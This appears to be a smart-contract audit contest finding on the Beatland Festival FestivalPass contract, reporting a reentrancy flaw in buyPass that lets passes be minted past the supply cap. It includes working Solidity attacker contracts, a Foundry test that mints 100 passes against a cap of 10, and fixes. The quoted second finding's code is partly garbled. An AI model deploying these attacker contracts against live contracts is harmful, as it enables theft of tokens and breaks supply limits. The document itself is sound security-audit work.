Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in buyPass allows bypassing passMaxSupply to mint unlimited passes

Reentrancy in buyPass allows bypassing passMaxSupply to mint unlimited passes

Description

The buyPass function fails to follow the CEI pattern. It calls_mint()—which triggers an onERC1155Received callback—before incrementing passSupply. An attacker can re-enter buyPass during the callback to mint unlimited passes and multiple BeatToken bonuses, as the supply check passSupply < passMaxSupply remains true during recursion.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
....
}

Risk

Likelihood:

  • Native Trigger: The ERC1155 standard explicitly requires a callback to the receiver, providing a guaranteed entry point for reentrancy.

  • No Protection: The function lacks a nonReentrant guard, and the state update (Effect) is explicitly positioned after the external call (Interaction), making the exploit trivial to execute.

Impact:

  • Violation of Scarcity: Attackers can break the hard cap of the pass supply, destroying the economic model of the festival.

  • Token Inflation: The vulnerability allows for the unauthorized minting of BeatToken rewards. Since the bonus logic is inside the reentrant loop, an attacker can siphon a massive amount of "welcome bonuses" far beyond the intended limit.

Proof of Concept

ReentrancyAttacker.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
contract ReentrancyAttacker is IERC1155Receiver {
FestivalPass public festivalPass;
uint256 public attackCount;
uint256 public maxAttack ;
constructor(address targetAddress) {
festivalPass = FestivalPass(targetAddress);
}
function attack(uint256 _maxAttack) public payable {
maxAttack = _maxAttack;
uint256 price = festivalPass.passPrice(3);
festivalPass.buyPass{value:price}(3);
}
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external override returns (bytes4){
if(attackCount < maxAttack){
attackCount++;
uint256 price = festivalPass.passPrice(3);
festivalPass.buyPass{value:price}(3);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external override pure returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external override pure returns (bool){
return interfaceId == type(IERC1155Receiver).interfaceId ||
interfaceId == type(IERC165).interfaceId;
}
receive() external payable {}
}

Test:

function testBuyPassReentracy() public {
vm.deal(address(reentracyAttacker), 10000 ether);
vm.prank(organizer);
festivalPass.configurePass(3, 1 ether, 10);
uint256 attackCount = 99;
reentracyAttacker.attack(attackCount);
//passMaxSupply(3) = 10;
assert(festivalPass.passSupply(3) > festivalPass.passMaxSupply(3));
//attackCount = 99 + 1
assertEq(festivalPass.passSupply(3),100);
//BACKSTAGE gets 15 BEAT each buying: 100*15 = 1500
assertEq(beatToken.balanceOf(address(reentracyAttacker)),1500 ether);
}
}

Recommended Mitigation

Implement OpenZeppelin's ReentrancyGuard by adding the nonReentrant modifier to the buyPass function and strictly follow the Checks-Effects-Interactions (CEI) pattern by incrementing passSupply[collectionId] before calling the _mint function.

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- function buyPass(uint256 collectionId) external payable {
+ function buyPass(uint256 collectionId) external payable nonReentrant() {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
- _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
+ _mint(msg.sender, collectionId, 1, "");
emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!